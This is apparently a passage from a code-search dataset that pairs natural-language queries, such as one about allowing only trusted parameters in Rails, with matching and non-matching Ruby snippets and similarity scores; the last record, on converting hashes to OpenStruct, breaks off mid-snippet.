{|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def media_type_params params.require(:media_type).permit(:name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
helper method that converts object to open struct recursively
def hashes2ostruct(object) return case object when Hash object = object.clone object.each do |key, value| object[key] = hashes2ostruct(value) end OpenStruct.new(object) when Array object = object.clone object.map! { |i| hashes2ostruct(i) } else object end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _convert_ostruct(obj)\n return OpenStruct.new(Hash[obj.map { |k, v| [k, _convert_ostruct(v)] }]).freeze if obj.is_a?(Hash)\n return obj.map { |v| _convert_ostruct(v) }.freeze if obj.is_a?(Array)\n obj\n end", "def _struct(obj)\n obj.class.new(*_renc(obj.to_h).values)\n end", "def nested_struct obj\n case obj\n when Hash\n obj.each_with_object(OpenStruct.new) do |(k,v), acc|\n acc[k]= case v\n when Hash then send(__method__,v)\n when Array then v.map(&method(__method__))\n else v\n end\n end.\n tap{|x| x.define_singleton_method(:keys){ obj.to_h.keys }}.\n tap{|x| x.define_singleton_method(:values){ AwsDevUtils::Utils.nested_struct obj.to_h.values }}\n when Array\n obj.map(&method(__method__))\n else\n obj\n end\n end", "def structure_dump() end", "def hashes_to_ostruct object # {{{\n\n return case object\n when Hash\n object = object.clone\n object.each { |key, value| object[key] = hashes_to_ostruct(value) }\n OpenStruct.new( object )\n when Array\n object = object.clone\n object.map! { |i| hashes_to_ostruct(i) }\n else\n object\n end\n\n end", "def parse object:, path: \"\"\n return if visited.has_key? object\n \n case object\n when Array\n object.each do |value|\n parse object: value, path: path\n end\n when Hash\n parse object: object.values, path: path\n when String\n current = objects[object]\n \n return if current.nil? || current[Keys::ISA].nil?\n \n path += '/' + current[Keys::ISA] + Helpers.resolve_attributes(object, objects)\n \n visited[object] = path\n \n parse object: current, path: path\n end\n end", "def marshal_load(obj)\r\n @depth, @map_id, @event_id, @list, @index, @branch = obj\r\n create_fiber\r\n end", "def open\n object.open\n end", "def get_original_rec(decoded_obj, container_to_fill = nil)\n if decoded_obj.is_a?(Array)\n if container_to_fill.nil?\n return decoded_obj.map { |serialized_item| get_original_rec(serialized_item) }\n else\n decoded_obj.each do |item|\n container_to_fill << get_original_rec(item)\n end\n return container_to_fill\n end\n elsif decoded_obj.is_a?(Hash)\n # Check for special hashes\n if decoded_obj[OBJECT_ID_REFERENCE].nil?\n case decoded_obj[OBJECT_CLASSNAME_REFERENCE]\n when CLASS_ID_SYMBOL\n return decoded_obj[OBJECT_CONTENT_REFERENCE].to_sym\n when CLASS_ID_ENCODING\n return Encoding.find(decoded_obj[OBJECT_CONTENT_REFERENCE])\n when CLASS_ID_RANGE\n serialized_first, serialized_last, exclude_end = decoded_obj[OBJECT_CONTENT_REFERENCE]\n return (exclude_end ? (get_original_rec(serialized_first)...get_original_rec(serialized_last)) : (get_original_rec(serialized_first)..get_original_rec(serialized_last)))\n when nil\n # Normal hash\n hash_obj = ((container_to_fill.nil?) ? {} : container_to_fill)\n decoded_obj.each do |serialized_key, serialized_value|\n hash_obj[get_original_rec(serialized_key)] = get_original_rec(serialized_value)\n end\n return hash_obj\n else\n # We deserialize a home-made object\n # Instantiate the needed class\n # TODO: Replace with the commented line as soon as 1.9 is not supported anymore\n # new_obj = ((container_to_fill.nil?) ? Module.const_get(decoded_obj[OBJECT_CLASSNAME_REFERENCE]).allocate : container_to_fill)\n new_obj = ((container_to_fill.nil?) ? eval(decoded_obj[OBJECT_CLASSNAME_REFERENCE]).allocate : container_to_fill)\n instance_vars = {}\n decoded_obj[OBJECT_CONTENT_REFERENCE].each do |var_name, serialized_value|\n instance_vars[var_name] = get_original_rec(serialized_value)\n end\n new_obj.fill_instance_vars_from_rubyserial(instance_vars)\n # If there is an onload callback, call it\n new_obj.rubyserial_onload if new_obj.respond_to?(:rubyserial_onload)\n return new_obj\n end\n else\n # We have a reference to a shared object\n obj_id = decoded_obj[OBJECT_ID_REFERENCE]\n if @decoded_shared_objs[obj_id].nil?\n # Instantiate it already for cyclic decoding (avoids infinite loops)\n # TODO: Replace with the commented line as soon as 1.9 is not supported anymore\n # @decoded_shared_objs[obj_id] = Module.const_get(@serialized_shared_objs[obj_id][0]).allocate\n @decoded_shared_objs[obj_id] = eval(@serialized_shared_objs[obj_id][0]).allocate\n get_original_rec(@serialized_shared_objs[obj_id][1], @decoded_shared_objs[obj_id])\n end\n return @decoded_shared_objs[obj_id]\n end\n elsif container_to_fill.nil?\n # Should be only String\n return decoded_obj\n else\n # Should be only String\n container_to_fill.replace(decoded_obj)\n return container_to_fill\n end\n end", "def recursive_serialization object\n if (object.is_a?(Array))\n # If it's an array, try to serialize each element\n return object.map{|o| recursive_serialization(o)}\n elsif (object.is_a?(Hash))\n # It's a hash, convert each key to sym and try to serialize each value\n return Hash[object.map{|k,v| [k.to_sym, recursive_serialization(v)]}]\n elsif (object.respond_to?(:serializable_hash))\n # If it can be seralized, serialize and try to recursively convert it's attributes\n return recursive_serialization(object.serializable_hash)\n else\n return object\n end\n end", "def object (ref, save_pos = true)\n return ref unless ref.kind_of?(Reference)\n pos = @buffer.pos_without_buf if save_pos\n obj = Parser.new(@buffer.seek(offset_for(ref)), self).object(ref.id, ref.gen)\n @buffer.seek(pos) if save_pos\n return obj\n end", "def diary(object)\n open pathf % extract_values(object)\n end", "def __class__\n OpenStruct2\n end", "def inflate_object(object)\n z = Zlib::Inflate.new()\n object[:data] = z.inflate(object[:data])\n z.close\n\n return object\n end", "def initialize(open_struct)\n #self.force_encoding 'UTF-8'\n #Encoding.default_external = 'UTF-8'\n @searchwords = open_struct.searchwords\n puts open_struct.searchdir\n @searchdir = open_struct.searchdir\n @is_recursive = open_struct.is_recursive\n end", "def convert(object); end", "def walk_object(object_string, this_object)\n begin\n #\n # Make sure that we don't exceed our maximum recursion level\n #\n $recursion_level += 1\n if $recursion_level > $max_recursion_level\n print_line($recursion_level, \"*** exceeded maximum recursion level ***\")\n $recursion_level -= 1\n return\n end\n #\n # Make sure we haven't dumped this object already (some data structure links are cyclical)\n #\n this_object_id = this_object.id.to_s rescue this_object.object_id.to_s\n print_line($recursion_level,\n \"Debug: this_object.method_missing(:class) = #{this_object.method_missing(:class)}\") if $debug\n this_object_class = \"#{this_object.method_missing(:class)}\".demodulize\n print_line($recursion_level, \"Debug: this_object_class = #{this_object_class}\") if $debug\n if $object_recorder.key?(this_object_class)\n if $object_recorder[this_object_class].include?(this_object_id)\n print_line($recursion_level,\n \"Object #{this_object_class} with ID #{this_object_id} has already been printed...\")\n $recursion_level -= 1\n return\n else\n $object_recorder[this_object_class] << this_object_id\n end\n else\n $object_recorder[this_object_class] = []\n $object_recorder[this_object_class] << this_object_id\n end\n #\n # Dump out the things of interest\n #\n print_attributes(object_string, this_object)\n print_virtual_columns(object_string, this_object, this_object_class)\n print_associations(object_string, this_object, this_object_class)\n print_methods(object_string, this_object) if $print_methods\n print_tags(this_object, this_object_class) if $service_model_base_supports_taggable\n print_custom_attributes(object_string, this_object)\n \n $recursion_level -= 1\n rescue => err\n $evm.log(\"error\", \"#{$method} (walk_object) - [#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n $recursion_level -= 1\n end\nend", "def build_struct_tree data\n data.to_hashugar\n end", "def object_tree\n head, *rest = array_tree\n object_subtree(head,rest)\n end", "def get_msgpack_compatible_rec(obj, check_shared = true)\n if obj.is_a?(Fixnum) ||\n obj.is_a?(Bignum) ||\n obj.is_a?(Float) ||\n obj.nil? ||\n obj == true ||\n obj == false\n return obj\n #\n # First handle objects that are not shareable\n #\n elsif obj.is_a?(Symbol)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_SYMBOL,\n OBJECT_CONTENT_REFERENCE => obj.to_s\n }\n elsif obj.is_a?(Encoding)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_ENCODING,\n OBJECT_CONTENT_REFERENCE => obj.name\n }\n #\n # Handle shared objects\n #\n elsif check_shared &&\n !@shared_objs[obj.object_id].nil?\n # This object is shared: store its object_id only\n return {\n OBJECT_ID_REFERENCE => obj.object_id\n }\n #\n # Handle shareable objects\n #\n elsif obj.is_a?(Array)\n # First serialize its items\n return obj.map { |item| get_msgpack_compatible_rec(item) }\n elsif obj.is_a?(Hash)\n # First serialize its items\n hash_to_store = {}\n obj.each do |key, value|\n hash_to_store[get_msgpack_compatible_rec(key)] = get_msgpack_compatible_rec(value)\n end\n return hash_to_store\n elsif obj.is_a?(String)\n return obj\n elsif obj.is_a?(Range)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_RANGE,\n OBJECT_CONTENT_REFERENCE => [get_msgpack_compatible_rec(obj.first), get_msgpack_compatible_rec(obj.last), obj.exclude_end?]\n }\n else\n # Handle other objects\n # If there is an ondump callback, call it\n obj.rubyserial_ondump if obj.respond_to?(:rubyserial_ondump)\n serialized_instance_vars = {}\n obj.instance_vars_to_be_rubyserialized.each do |var_name, value|\n serialized_instance_vars[var_name] = get_msgpack_compatible_rec(value)\n end\n return {\n OBJECT_CLASSNAME_REFERENCE => obj.class.name,\n OBJECT_CONTENT_REFERENCE => serialized_instance_vars\n }\n end\n end", "def represent(opts={}, maxdepth=nil)\n opts = OBJECT_REPRESENTATION_DEFAULTS.merge(opts)\n maxdepth ||= opts[:maxdepth]\n maxdepth -= 1\n opts[:already_represented_object_ids] ||= {}\n aroids = opts[:already_represented_object_ids] # way shorter handle on it.\n if maxdepth > 0\n o = nil\n unless aroids[self.object_id]\n a_kind = self.respond_to?(:kind_of?)\n basic_obj = IMMEDIATE_VALUE_CLASSES.any?{|c| a_kind && self.kind_of?(c)}\n if basic_obj\n o = self\n elsif a_kind && self.kind_of?(String)\n o = self.dup\n elsif a_kind && self.kind_of?(Date) # also accounts for DateTime objects FYI\n o = self.iso8601\n elsif a_kind && self.kind_of?(Time)\n o = self.utc.iso8601 # same as ActiveSupport.use_json_time_format = true, but without the dependency\n elsif a_kind && self.kind_of?(Class)\n if opts[:as_json]\n # this depends on ActiveSupport\n o = self.to_s.underscore\n else\n if opts[:symbolize_keys] && !opts[:stringify_keys]\n o = self.to_s.to_sym\n else\n o = self.to_s\n end\n end\n elsif a_kind && self.kind_of?(Hash)\n interim_hash = {}\n aroids[self.object_id] = interim_hash.object_id\n o = self.select(&opts[:prune]).inject(interim_hash) do |h,(k,v)|\n h[k.represent(opts, maxdepth+1)] = v.represent(opts, maxdepth)\n h\n end\n if opts[:symbolize_keys] || opts[:stringify_keys]\n if opts[:symbolize_keys]\n o = o.symbolize_keys\n elsif opts[:stringify_keys]\n o = o.stringify_keys\n end\n aroids[self.object_id] = o.object_id\n end\n elsif a_kind && self.kind_of?(Array)\n o = []\n aroids[self.object_id] = o.object_id\n o.replace(self.map{|e| e.represent(opts, maxdepth)})\n else # this is an unknown object\n if self.respond_to? :to_hash\n h = self.to_hash\n else\n h = self.to_h\n end\n h.select!(&opts[:prune])\n o = h.represent(opts, maxdepth)\n o = o[:data] if o[:data]\n o = o['data'] if o['data']\n if opts[:as_json]\n # this depends on ActiveSupport\n o = {self.class.to_s.underscore => o}\n else\n if opts[:symbolize_keys] && !opts[:stringify_keys]\n o = {self.class.to_s.to_sym => o}\n else\n o = 